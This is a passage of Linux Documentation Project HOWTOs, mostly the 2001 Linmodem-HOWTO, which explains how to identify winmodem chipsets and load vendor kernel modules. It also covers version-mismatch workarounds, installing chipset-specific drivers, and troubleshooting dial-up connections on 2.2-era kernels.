Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

4.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

4.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

4.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


LILO, Linux Crash Rescue HOW-TO: Copyright

 Next Previous Contents

5. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional requests are that you retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you please intimate all the authors of this document. Brand names mentioned in this document are property of their respective owners.


Linmodem-HOWTO

Sean Walbran sean(at)walbran.org and Marvin Stodolsky stodolsk(at)erols.com

v0.43, 24 February 2001

This document describes Linmodem (winmodem hardware) support under Linux. While such support is limited (almost exclusively in the form of manufacturer-created, but unsupported, binary kernel modules), the number of chipsets with some form of support is growing rapidly.

1. Introduction

  • 1.1 Copyright
  • 1.2 Disclaimer
  • 1.3 Credits
  • 1.4 Updates and Corrections

2. Linmodems

  • 2.1 What is a Linmodem?
  • 2.2 Which Linmodem hardware is supported?
  • 2.3 How can I find out if my GeeWhiz 9.8.7 Modem / Laptop has one of these chipsets?

3. General Setup and Kernel Module Issues

  • 3.1 Kernel Module Support
  • 3.2 ISA Plug-n-Play
  • 3.3 PCI Modems
  • 3.4 Module tools

4. Tips and Tricks for Precompiled Modules with different Kernel Versions

  • 4.1 Fixscripting
  • 4.2 Patching tty.h
  • 4.3 Using a ppp.o from Kernel 2.2.14

5. Specific Chipsets and Their Drivers

  • 5.1 IBM Mwave (Thinkpad 600E)
  • 5.2 Lucent LT
  • 5.3 ESS
  • 5.4 PCTel
  • 5.5 Conexant/Rockwell HSF
  • 5.6 Intel (formerly Ambient Technology, formerly Cirrus Logic)
  • 5.7 3Com
  • 5.8 AMR

6. Troubleshooting

7. FAQ

  • 7.1 I have a winmodem. Will it work under Linux?
  • 7.2 I get "NO DIALTONE".
  • 7.3 I get a "device or resource busy" error.
  • 7.4 I get unresolved symbols when fixscripting/insmoding.
  • 7.5 My PCTel modem doesn't work.
  • 7.6 The modem dials and connects fine, but then it drops the connection.
  • 7.7 I get a kernel panic on closing the connection or unloading the driver.
  • 7.8 Nothing seems to work. To whom can I turn for help?
  • 7.9 Who wrote the driver for my winmodem, and how do I contact him/her?

8. Appendix

  • 8.1 PCTel Module Parameters: Country Code


Linmodem-HOWTO : Introduction

 Next Previous Contents

1. Introduction

This is the Linux Linmodem HOWTO document. It is intended as a quick reference to help you find out if there is a way to get your (so-called) winmodem working under Linux, and, if so, how to do it. You should understand from the outset that there may well be no support for your winmodem: there is limited support for such modems, often in the form of vendor-created but vendor-unsupported, binary-only kernel modules (though a small number of open-source projects exist).

To emphasize: your best bet under Linux is certainly to get a true hardware modem. However, if you're stuck with a winmodem, perhaps this document can help.

For the most up-to-date information about available Linmodem drivers, visit Rob Clark's site, our small resources page, and the Linmodems.org mailing list archives. General modem issues, such as IRQ settings and dialup scripts, are dealt with much more thoroughly in the more general Modem-HOWTO, Serial-HOWTO, PPP-HOWTO, and other related HOWTOs available at the Linux Documentation Project site and elsewhere.

1.1 Copyright

Copyright (c) 2000,2001 by Sean Walbran, Marvin Stodolsky

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be fowarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  • Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.
  • License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.
  • Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

1.2 Disclaimer

Use the information in this document at your own risk. We disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark. In particular, since the term "Winmodem" is a trademark of US Robotics/3Com, we use the term "winmodem" here as does Rob Clark: to be read as "Winmodems(tm), host-based modems, HCF-modems, HSP-modems, and all similar modem-like hardware." Linux is a trademark of Linus Torvalds.

Naming of particular products or brands should not be seen as endorsements.

It are strongly recommended to make a backup of important and/or relevant files before any installation procedure.

1.3 Credits

Most individual credits are given in the body of the text where appropriate.

A large amount of information contained in this document comes a variety of great sources such as Rob Clark's site, the Linmodems.org, mailing lists, and Werner Heuser's Mobilix pages.

Special thanks to Mark Spieth (mark(at)digivation.com.au) for discussions, advice, and multiple and ongoing contributions.

This document itself was created using the SGML HOWTO template created by Stein Gojen, as described in the HOWTO-HOWTO. site.

1.4 Updates and Corrections

The most recent HTML version of this document is available at http://walbran.org/sean/linux/linmodem-howto.html, as a single HTML file at http://walbran.org/sean/linux/linmodem-howto-all.html, with source SGML at http://walbran.org/sean/linux/linmodem-howto.sgml.

The old version of this document was getting huge and unwieldy, so this rewrite seemed necessary. To avoid the total loss of that information, a copy of the old version is maintained at http://walbran.org/sean/linux/linmodem-howto-old.html.

Do you have a Linmodem which works, but is not described here? Are you developing a driver? Do you think something in this document is incorrect or misleading? Do you think that your or someone else's work has been used here but not appropriately credited? Please don't hesitate to email me at sean(at)walbran.org with corrections and suggestions.


Linmodem-HOWTO : Linmodems

 Next Previous Contents

2. Linmodems

2.1 What is a Linmodem?

A Linmodem is the Linux implementation of a "winmodem" (see disclaimer). These devices are 'less than' a modem in the sense that they depend on software to perform, to a greater or lesser extent, the functions traditionally handled by modem hardware. The rationale for this is, of course, that software is cheaper than hardware, and can be upgraded/expanded/improved without the use of screwdrivers (usually); however, for the modem to function at all, one requires software that can run on one's preferred operating system.

2.2 Which Linmodem hardware is supported?

An ever-growing number of winmodems will work under Linux. Each chipset for which a driver is known to exist has a section in this document, below, describing its installation. Any other chipset has no known support under Linux (at least, not known to us).

2.3 How can I find out if my GeeWhiz 9.8.7 Modem / Laptop has one of these chipsets?

Information from the system

The information about installed hardware using commands such as:

  • PCI: cat /proc/pci and lspci
  • ISA: pnpdump and isapnp
  • Internal PCMCIA: cardctl ident
  • General: dmesg | more and cat /proc/interrupts

MarvS notes that the Device Manager under Windows can provide similar information, but it should be noted that a manufacturer will often simply put its brand name on a built-in modem, so this information may not be as useful as you might hope (e.g., what chipset does a "Compaq Internal 56k" modem have?). Additional information may sometimes be obtained by making a modem log, implemented under MS Windows as a check box option within the Dial Up Networking menus. The file produced is C:\WINDOWS\MODEM.LOG. It will contain the modem initialization strings, and perhaps also the name of the modem configuration file, which may also contain other useful information.

Modem names and identification numbers

If you know the precise name of your modem, you can try searching the large Linux Modem Compatibility Database at Rob Clark's site. The color/letter code on the left side of the table will indicate if your modem is known to function or not under Linux. The code "LM" indicates a Linmodem, and the modem notes should indicate which driver you need. A "WM" means it's a winmodem, but no Linux support is known to exist. Be careful not to assume that modems with similar names will contain the same chipsets, or will necessarily behave similarly whatsoever! Your WhizBang LX56 and your friend's WhizBang GT56 could have entirely different innards.

If you do not know the precise name of your modem, you can search based on the identification number of the modem ( on every modem there must be printed a registration number, which may either be the board producer's designation, or, alternatively, an FCC registration number. An example photo of such an ID number on a modem board can be found at http://www.idir.net/~gromitkc/fcc1.jpg on Rob Clark's site.) Use your web browser's "Find in Page" to search his table of modems and FCC ID's to obtain chipset/driver information. Alternatively, you can directly search the US Federal Communications Commission (FCC) database at http://www.fcc.gov/oet/fccid/. Read the directions carefully, and be careful not to confuse O (the letter) with 0 (the number), and other possible mixups.

Laptops with internal modems

You may not be able to obtain the FCC ID number if you have a laptop which you prefer not to open up, or are looking to buy a particular machine and the vendor has not been polite enough to provide you with the information nor a sample box for you to take apart and play with. In these cases, you might try:

  • Kenneth Harker's Linux on Laptops site indexes a large number of user-created sites describing their experiences with Linux on particular laptop models.
  • Werner Heuser's Mobilix: Linux Modems and Mobilix: Linux Mini-PCI pages include lists of specifications for laptops with internal modems and NIC's, as well as useful tips for obtaining more information in case the model is not listed there.
  • The computer vendor's manual, web site, or (horrors!) technical support.
  • http://www.google.com


Linmodem-HOWTO : General Setup and Kernel Module Issues

 Next Previous Contents

3. General Setup and Kernel Module Issues

3.1 Kernel Module Support

All of the kernel drivers listed here are released as kernel modules; therefore, you must be sure to have a kernel which supports modules. In addition, "module version" support should be enabled to aid the use of kernels and modules which are not version matched, as described further below. If you use a kernel from a reasonably recent Linux distribution, such module support is most likely already enabled. If you're compiling the kernel yourself, then you should already be aware of how to enable modules, via the Kernel HOWTO. In any case, you can check to make sure that the following settings exist in your kernel configuration file (which is usually found under /usr/src/linux):

CONFIG_MODULES=y
CONFIG_MODVERSIONS=y

3.2 ISA Plug-n-Play

If you have an ISA Plug-n-Play modem, you will most likely need to use isapnptools to allocate resources to the modem card. For this, you need to have isapnptools installed and have an entry in the /etc/isapnp.conf file for the modem. You should read the manual pages and the Plug-and-Play-HOWTO, but if you have no other ISA devices you're concerned about, basically all you need to do is:

  1. If possible, configure your BIOS to "Non-PNP OS."
  2. As root, run pnpdump to generate a prototype isapnp.conf file based on probed cards and your system's current resource usage.
  3. Look for your modem in this output, and uncomment the lines corresponding to the (otherwise unused) IRQ you wish to use for the modem. For example, Sean's isapnp.conf for a Thinkpad i1411 with a Lucent LT modem includes:

    (CONFIGURE ACRd119/1 (LD 0
  (INT 0 (IRQ 11 (MODE +E)))
  (IO 1 (SIZE 8) (BASE 0x0100) (CHECK))
  (NAME "ACRd119/1[0]{LT Win Modem        }")
# (ACT Y)
))
    Strangely, in this case at least, it was necessary to leave the #(ACT Y) commented out. If it doesn't work for you one way, try it the other.
  4. Copy the file to /etc/isapnp.conf
  5. Reboot. You should see a message along the lines of 'Initializing ISA PNP devices...OK' on booting. If it fails, you have probably selected an IRQ/DMA setting which is already in use; try another of the options given in the pnpdump output. (Note that it is probably not necessary to reboot, if you run isapnp with the right flags. However, it's easiest for the beginner to simply reboot at this point.)

3.3 PCI Modems

If you wish to know more about your PCI modem than cat /proc/pci gives, utilities within the software package pciutils are useful, such as scanpci and lspci. In particular, lspci -vv gives lots of nice, useful information.

3.4 Module tools

The following commands are useful when dealing with modules. Many require root priveleges. See the manual pages (e.g., man insmod) for more detailed information on these commands.

insmod, insmod -f, and modprobe

A version-matched kernel module should usually be inserted using the command modprobe module_name; modprobe will try to insert any other modules on which your module depends (as determined by depmod, described below).

A single module can be inserted (without those modules on which it depends) using the command insmod module_name. If the module were compiled under a different kernel than the current one, insmod would report the version mismatch and refuse load the module. One can, however, pass a flag to force the module to load despite the mismatch: insmod -f module_name. If the kernel interface the module uses did not actually change with the kernel version, the module will be inserted and could be to some degree functional.

This is the case with, for example, the ESS modem module esscom.o which, while compiled under 2.2.12, can be forcibly inserted with later kernels and will function to a greater or lesser extent up through kernel version 2.2.14 without further changes; beyond 2.2.15, the patch to tty.h described below is required. However, even forcing insertion fails for kernels from the 2.4 series.

rmmod

A module can be unloaded (removed from the kernel) after use by issuing the command rmmod.

depmod

The depmod commands analyzes module dependencies. The compatility of precompiled modules with a running kernel can be checked with a command like:

   depmod -e ltmodem.o
For the specific example of the ltmodem.o module compiled under kernel 2.2.12 with a running kernel 2.2.17, the returned information includes:
  • depmod: *** Unresolved symbols in ltmodem.o
  • depmod: bh_mask
  • depmod: schedule_timeout
  • depmod: request_region
  • depmod: pcibios_read_co
  • and many others.
Using a module with unresolved symbols can be a dangerous thing, as described below.


Linmodem-HOWTO : Tips and Tricks for Precompiled Modules with different Kernel Versions

 Next Previous Contents

4. Tips and Tricks for Precompiled Modules with different Kernel Versions

Many of the linmodem drivers are only available as precompiled, binary kernel modules. Generally, modules/binaries transparently function only with the kernel against which they were co-compiled. Therefore, getting a precompiled linmodem driver to work with your particular kernel could be a challenge.

Since the Linux kernel is a dynamically changing beast, it is very unfortunate that many modem/chip vendors have not yet chosen to release source-code versions of their drivers, which would ensure your and our ability to modify these drivers appropriately as kernel source code evolves. Some of the binary modules have been coaxed to function under some later kernel versions using various tricks, as described below; however, even though a module may be rendered functional, it is advisable to use them minimally. Quoting an email from Mark Spieth,

"A driver can never work properly if there are unresolved symbols, as it means something is not going to work. Furthermore, it means that that something that would have been called will call something else in the kernel and this could be anything. This is very bad."

Therefore, you should be careful in using binary modules with a kernel of a different version; proceed at your own risk. If you require above all that your modem function, consider downgrading your kernel to match the module - this is by no means a ridiculous prospect. Despite these warnings, however, many others have used mismatched binary modules and kernels with only minor annoyances ( such as the occasional kernel panic ) using tricks and tools such as the following.

4.1 Fixscripting

Mark Spieth has contributed a progressively improved series of "fixscripts" for editing a binary module so that version mismatch warnings are eliminated. Insertion of the "fixed" module then proceeds without the forcing flag, i.e. simply insmod module_name. Later versions also rename module symbols to match those exported by the kernel, so that "Unresolved symbols" errors are not returned by the test depmod -e. It must be emphasized that this change is almost entirely cosmetic - it is still recommended that the module be used minimally.

To use the fixscript on, for example, the (now-deprecated) binary Lucent module ltmodem.o, make a working directory such as /root/modem. Obtain the latest fixscript from http://www.test.dclabs.com.au/linmodem/fixscript. Save the file as fixscript. View it with less or your favorite text editor to check that DOS hard stops were not accidentally acquired. They look like bold M, underlined M, or ^M depending upon your viewer/editor. NOTE: the viewer more does NOT display these DOS newlines.

Make the file executable with chmod +x fixscript. Generate a "fixed" module with, i.e.,

    ./fixscript ltmodem.o ltmodem2217.o

No errors should be generated by testing the module dependencies with

    depmod -e ltmodem2217.o

and insertion should succeed with a simple, non-forced,

    insmod ltmodem2217.o

The "source code" supplied with some PCTel modules (a small C file) performs similar masquerading when compiled and linked with the binary libraries in those packages; unlike the partially-open-source Lucent driver, it does not compensate for any actual changes to the kernel interface.

4.2 Patching tty.h

In his quest to get the original, binary-only Lucent LT modem driver (version 5.68) working with kernels later than 2.2.14, Mark Spieth noticed that one simple change in the Linux kernel source fixed the major incompatibilities incurred between the 2.2.14 to 2.2.16 kernel versions. This patch is no longer necessary when using the partial source/binary Lucent driver (version 5.78), but it remains useful for those with other modems whose drivers are compiled against pre-2.2.15 kernels.

The patched 2.2.17 tty.h and some 2.2.17 kernel packages compiled with this patch are available from http://walbran.org/sean/linux/stodolsk/. If you want to do the edit yourself, the line to shift is in the structure tty_struct within include/linux/tty.h; it has an extra member poll_wait in later kernels. Move this member to the bottom of the structure, so that the remaining offsets will then be the same as those in versions earlier than 2.2.15, and thus be compatible with the precompiled kernel module. You will need to recompile your kernel and modules after making this change to the source.

4.3 Using a ppp.o from Kernel 2.2.14

A trick exists for using the binary modules with kernels later than 2.2.15 which does not require kernel recompilation; however, following the discovery of the tty.h patch described above, this trick is no longer necessary nor recommended. The trick is to replace the /lib/modules/net/ppp.o module with one from kernel 2.2.14. Christoph Hebeisen (cth(at)sfu.ca) reported that the use of ppp.o version 2.2.14 rather than that of version 2.2.16 with the Lucent module provided functionality under 2.2.16 kernels. Willie Green (willjr(at)lcc.net) confirmed that this trick works also with the ESS module. After simple insertion of a supporting version-matched module:

    insmod slhc
the mismatched ppp.o from 2.2.14 source is inserted
    insmod -f ppp.o
We wish to emphasize that this trick with forced insertion is less stable than the easy and more effective change to the kernel source file tty.h, as described above.


Linmodem-HOWTO : Specific Chipsets and Their Drivers

 Next Previous Contents

5. Specific Chipsets and Their Drivers

5.1 IBM Mwave (Thinkpad 600E)

IBM has a completely open-source (GPL'ed) driver for the software modem in their Thinkpad 600E's available here.

5.2 Lucent LT

Overview

This modem enjoys the most support under Linux, in that there exist three different driver packages:

  • There exists a manufacturer-unsupported, half-binary/half-open-sourced kernel module, originally designed for Red Hat 6.2's 2.2.14-5 kernel, but substantially reworked by Mark Spieth and others to function with 2.2.x and 2.4.x kernels. This is driver version 5.78(c,d,e,...), and is the driver you are most likely to have success using.
  • There exists a manufacturer-unsupported, binary-only kernel module, compiled under Red Hat 6.0's 2.2.12-20 kernel. This is driver version 5.68.
  • Some open source tools for use with Lucent modems are available at http://www.close.u-net.com/ltmodem.html. Pavel Machek writes that "It is not too useful, however: it is a hardware driver, and without a v.34 protocol stack, you can't connect to your ISP. It is enough to turn your Lucent winmodem into an answering machine, however."
It should be noted that the binary-only driver module (from "linux568.zip") contains code from the GPL'ed Linux serial.c driver, so, since the source code for the modem driver is not available, trafficking in this driver is apparently in violation of the GPL. Distributing the partially open source driver ("i56lvp578.zip") may or may not be technically legal, since the GPL'ed code, though not yet linked with the closed-source code, is certainly intended to be so. See this Kernel Traffic issue and a Linux-Kernel mailing list archive for the week including Dec. 3rd, 2000, for more details.

Driver v5.78(c,d,e,...) - Installation

You should obtain the most recent package for your kernel from http://walbran.org/sean/linux/stodolsk/ and follow the up-to-date instructions given there.

Manufacturer's driver version 5.68 - Installation

This driver is superseded by version 5.78, described above; however, it may still be of some use in special cases.

  1. Obtain the package for your kernel:
    1. 2.2.12 to 2.2.15 http://linmodems.org/linux568.zip
    2. 2.2.15 and above : same URL, but "tty.h" patch is required; see "Tips and Tricks...", above.
  2. unzip linux568.zip
  3. su (enter root password when prompted)
  4. ./ltinst (a 'file not found' error will be issued due to a flaw in the installation script; ignore this error.)
Your modem should now be accessible as the device /dev/modem or /dev/ttyS14.

Open Source Tools - Installation

See the documentation with the source for instructions.

5.3 ESS

Overview

Binary-only drivers for ES56T-PI (PCI) and ES56V-I (ISA), compiled under RedHat 6.0's kernel 2.2.12-20, are available. The driver has been used via forced insertion up through kernel 2.2.15, and up through 2.2.17 using the "tty.h" patch described in the "Tips and Tricks..." section, above.

Installation

  1. Obtain the package for your modem:
    • ISA: ftp://ftp.esstech.com/pub/modem/isa/unsupported/56v-i/linux/kernel61/linux111.zip or
    • PCI: ftp://ftp.esstech.com/pub/modem/pci/unsupported/56t-pi/linux/Kernel61/111.zip.
  2. For kernel 2.2.15 and later, apply tty.h patch (See "Tips And Tricks...," above); recompile kernel and modules.
  3. Unpack the package with: unzip package_name
  4. Change to the root user: su (enter root password when prompted)
  5. Create the device file: mknod /dev/esscom c 127 1
  6. Make convenience device: ln -s /dev/esscom /dev/modem
  7. Make convenience device: ln -s /dev/esscom /dev/ttyS15
  8. Set device ownership: chgrp uucp /dev/esscom
  9. Set device permissions: chmod 666 /dev/esscom
  10. Masquerade module version (See "Tips And Tricks...," above): ./fixscript essmodem.o essmodem.fix.o
  11. Install module file: cp essmodem.fix.o /lib/modules/`uname -r`/misc/essmodem.o
  12. Insert module in kernel: insmod -f essmodem
  13. (Optional) Provide for automatic module loading: add a line "alias char-major-127 essmodem" to the file /etc/modules.conf or /etc/conf.modules

5.4 PCTel

Overview

Binary drivers can be found at http://www.idir.net/~gromitkc/winmodem.html#drivers.

A Debian-style installation package for kernel 2.2.16 was made available by Corel at ftp://ftp.corel.com/pub/linux/CorelLinux/dists/corellinux-1.2/corel/binary-i386/utils/pctel-kernel-2.2.16-driver-cdl-v1.0_1.0.deb, though this link appears to now be incorrect. A gzipped/tarred package derived from the .deb is available here. In addition, a driver for kernel 2.4 was contributed by Thomas Wright, and is also available here. Other packages, requiring the superficial compilation described below, are also known to exist.

Installation

There are apparently two types of PCTel module package around.

  1. A package (rpm or deb) which installs two module files, pctel_hsp.o and pctel_pci.o, in /lib/modules/2.2.16.

    With such a package, if you are running a kernel more recent than 2.2.16, you will need to use forced insertion (insmod -f), and if you are not successful, might try the "fixscript" method used with the Lucent 5.68 and ESS modules above - but, note that this has not, to my knowledge, been tried out yet. If you are running a kernel older than 2.2.16, you should consider upgrading your kernel, or else try the fixscripting as well (this is also not guaranteed to work). Please send me a report if you get these to work.

  2. A package which, when unpacked, gives a set of libraries (hsp.a, etc...) and a small C source file (ptmodule.c), which should be in directories like lib/ and src/module/. If there are no directories, create them and arrange the files with:
    mkdir lib
mkdir src
mkdir src/module
mv *.a lib/
mv Makefile *.c src/module

    Now go to the directory src/module and type make. This should generate the module file pctel.o, which will appear back up in the directory lib. (The driver module is not the object file ptmodule.o in src/module!)

    The apparent version of the module generated in this way will match your current kernel version.

With the modules in hand, proceed to install as follows:

  1. Change to the root user: su (enter root password when prompted)
  2. Create the device file: mknod /dev/pctel c 62 79
  3. Make convenience device: ln -s /dev/pctel /dev/modem
  4. Make convenience device: ln -s /dev/pctel /dev/ttyS15
  5. Set device ownership: chgrp uucp /dev/pctel
  6. Set device permissions: chmod 666 /dev/pctel
  7. Install module file (only for package type 2, above): cp pctel.o /lib/modules/`uname -r`/misc/
  8. Insert module(s) in kernel with insmod -f modulename

5.5 Conexant/Rockwell HSF

There exist drivers for kernels 2.2.14, 2.2.16, and 2.2.17 at http://www.olitec.com/pci56kv2.html The page is in French, but the installation commands are given on the page in boldface red text (you can also use the babel fish). Essentially, download the appropriate package, unpack it with tar -zxvf, and run the installation script ins_all.

This driver is a bit finicky (with the most common symptom of failure being the "NO DIALTONE" response), but a number of people have been able to get it to work, usually by inserting their modem's vendor ID in the modem's .inf file, perhaps along with a change of the device major number from 254 to 253. See the Linmodems.org mailing list archives for details; one example of many is given here.

5.6 Intel (formerly Ambient Technology, formerly Cirrus Logic)

Mikhail Moreyra has written a GPL'ed driver for the CL-MD5620DT chipset which can do up to 33.6 kbps; however, this is alpha software and should be treated with due care. The driver can be obtained at http://linmodems.org/CLModem-0.3.0.tar.gz. Gabriel Gambetta (ggambett(at)internet.com.uy) issued a patched version of the driver to allow standard AT modem commands; you can get this version at Rob Clark's site here.

A driver for the HaM modem was beta-tested in early 2001 and is expected to be released quite soon.

5.7 3Com

56k

An rpm package with a driver for the 3Com MDP3900V-U modem (apparently found in the Dell Dimension L733r) was posted to the Linmodems.org mailing list ( click here for more information), and is mirrored here.

Mini-PCI

A request for comments was posted by a 3Com official about the possible demand for a binary-only driver for their miniPCI combination NIC/winmodem here on the Linodems.org mailing list; please respond to the address given, linmodem@new-n-used.com, and not to the mailing list. Though to my knowledge no driver has yet been released, Werner Heuser's miniPCI page has more information and links.

5.8 AMR

Ian Stewart reports that he is working on a "mid-level driver" for the AC97 codec.


Linmodem-HOWTO : Troubleshooting

 Next Previous Contents

6. Troubleshooting

So you've read through this document, the Modem-HOWTO, and the PPP Howto, are pretty sure that your modem matches one of the drivers available, but it still doesn't work? There are a number of points in the process at which something could break down.

Linux generally maintains records of networking connections which are very useful in troubleshooting problems. Their particular filenames vary with both the Linux distribution and Dial-in software, but the system log files /var/log/messages, /var/log/syslog, etcetera, should provide at least some information.

For both your own trouble shooting and queries for help to a list, it will be useful if you accumulate the information requested below. As root, change to the directory in which the modem install scripts are located, and start a script record as shown below. After this script is terminated with "exit," copy it out of your Linux partition for transmission to the list which may aid you.

(Below, # are explanatory comments.)

# start the recording,
script ModemTest.txt
# type in as much info on your Modem card as you have
echo winmodem name, manufacturer, designation, and chip if possible
# this gives your current kernel version
uname -r
# this gives information on your serial ports
setserial -agv /dev/ttyS*
# this information on your interrupts (irq)
cat /proc/interrupts
# show the contents of your module installation script (insert script name):
cat ScriptName
# Check if your script is executable:
ls -l ScriptName
# a response is OK if it has "x" such as below:
# -rwxrw-rw-  1 root     root  654 Jan  6  2000 ltinst
# otherwise make it executable with:
chmod o+x ScriptName
# verify with
ls -l ScriptName
# if ScriptName has not been successfully run before under this kernel
# run it with:
./ScriptName
# what is the symbolic link /dev/modem set to:
ls -l /dev/modem
# What is the DeviceName specified in the ScriptName (/dev/ttyS14 or ...?)
echo DeviceName
# what is your modem driver name? Something like DriverName.o
# with the ".o" indicating it is a compiled binary
echo This is my DriverName.o
# if should have been inserted in the Modules Path
# Try to display it there with:
find /lib/modules | grep DriverName
# Is DriverName among the modules installed in the running kernel?
lsmod
# if not try a simple insertion:
insmod ./DriverName.o
# or if it was in the Modules Path, the following will suffice:
insmod DriverName
# check for insertion:
lsmod
# if not inserted, try forcing:
insmod -f ./DriverName
# list your inserted modules again.
lsmod
# If DriverName is NOT listed,
# their is an incompatibility between modem hardware, driver and kernel.
# Further effort will be of No use.
# If DriverName is listed, let's do a bit more information.
# You may first wish to rerun the configuration utility
# used to setup dial-in connections for your Linux installation.
# Remember to edit your PassWord from this record later.
# You will probably be queried for the following information
# which you should have ready:
#Port to be used (/dev/modem or /dev/ttySn),Dial-inNumber, UserName, PassWord.
# Run your configuration utility.
YourSetUpConf
# To stop recording
exit

If dialin was not successfull, append to this a record from your log file. As an example, a section of a /var/log/syslog from a Debian Linux system is below.


Linmodem-HOWTO : FAQ

 Next Previous Contents

7. FAQ

7.1 I have a winmodem. Will it work under Linux?

Probably not. Please see the section "Which Linmodem hardware is supported?" above, and check the Linux Modem Compatibility database at Rob Clark's site.

7.2 I get "NO DIALTONE".

Try setting your BIOS option from "PNP OS" to "non-PNP OS", from "Windows" to "Other OS", or the equivalent.

Conexant users: See the Conexant section, above.

7.3 I get a "device or resource busy" error.

  • If you have an ISA modem, did you use the isapnptools to allocate IRQ and DMA resources to the card? See "ISA Plug-n-Play", above, for more information.
  • Double-check that you created the device file correctly, and try to eliminate any IRQ conflicts you might have. If all looks well, but it still doesn't work, check the Linmodems.org mailing list to see if someone else has (and has perhaps fixed) the same problem, or try to fix it yourself and inform others of your results.

7.4 I get unresolved symbols when fixscripting/insmoding.

Unresolved symbols are a true danger of version mismatching and are, in general, bad, but are also almost inevitable with binary modules. If the fixscript reports unresolved symbols, or the module does not work despite the unresolved symbols, you may be out of luck with that kernel/module combination; however, a few common cases involve symbols like:

  • slhc_xxxx: You probably need to insmod the slhc module before inserting the modem/ppp modules; using modprobe rather than insmod should also obviate this problem.
  • printk, jiffies: Your kernel may be compiled with SMP enabled. None of the binary modules are known to be SMP-safe, and will probably only work on a single-processor machine with a single-processor kernel, i.e. SMP disabled. You should try recompiling your kernel or otherwise obtaining a version with SMP disabled. (Thanks to Tom Reinertson (treinertson(at)uswest.net))
  • tty_xxxx with esscom.o: Earlier fixscripts were not able to handle the version-specific symbols in this module. More recent versions are available at http://www.test.dclabs.com.au/linmodem/fixscript) which should be able to fix this module as well.
If a module works in an unstable fashion, it could be that, under some circumstances, you are avoiding those symbols, while in others, you slam up against them. Try out different ppp dialup programs (wvdial, kppp), which call a different set of functions under similar conditions. It is also possible that the fixscript, which was designed for the lucent module, is not "fixing" the symbols used in your module. If you find no combination that works, consider "downgrading" to a kernel which has a closer version match to that of the module.

7.5 My PCTel modem doesn't work.

  • Do you need to give the module a country code parameter? See the appendix.
  • Are you using the right driver module? There are a few PCTel drivers around (see the section "Which Linmodem hardware is supported?" above). You might try one of the others and see if that helps.

7.6 The modem dials and connects fine, but then it drops the connection.

This is an often-reported problem that may have a few, or no, solutions:

  1. It is possible that the module is installed correctly and is working, but that you have a problem with your ppp configuration. In particular, if you find an error in the log along the lines of "peer is not authorized," try changing "auth" to "noauth" in /etc/ppp/options, and/or commenting out "auth" and "lock" (by placing a '#' at the beginning of the line). Corel has a FAQ entry at http://linux.corel.com/support/html/9314.htm about this.
  2. It has been reported that, with some kernel/module mismatches, a program like kppp will give this error, while an alternative like wvdial does not, for the same modules and hardware. You may wish to try a different ppp dialer and see if that helps.
  3. Lastly, there is the potential relationship with sound support. Comparing functionality of ltmodem.o with/without sound support in the kernels, dial-in is OK, but ppp is NOT achieved for the kernel without sound support.

    Most Linux distributions do deposit a kernel configuration file along with the kernel. For Debian related distributions, it is the file

      /boot/config-version
    The positive choices can be quickly displayed with:
      grep SOUND /boot/config-version |grep -v not
    For the specific example of a 2.2.17 version:

    # grep SOUND  /boot/config-2.2.17 |grep -v not
CONFIG_SOUND=m
CONFIG_SOUND_OSS=m
CONFIG_SOUND_SB=m
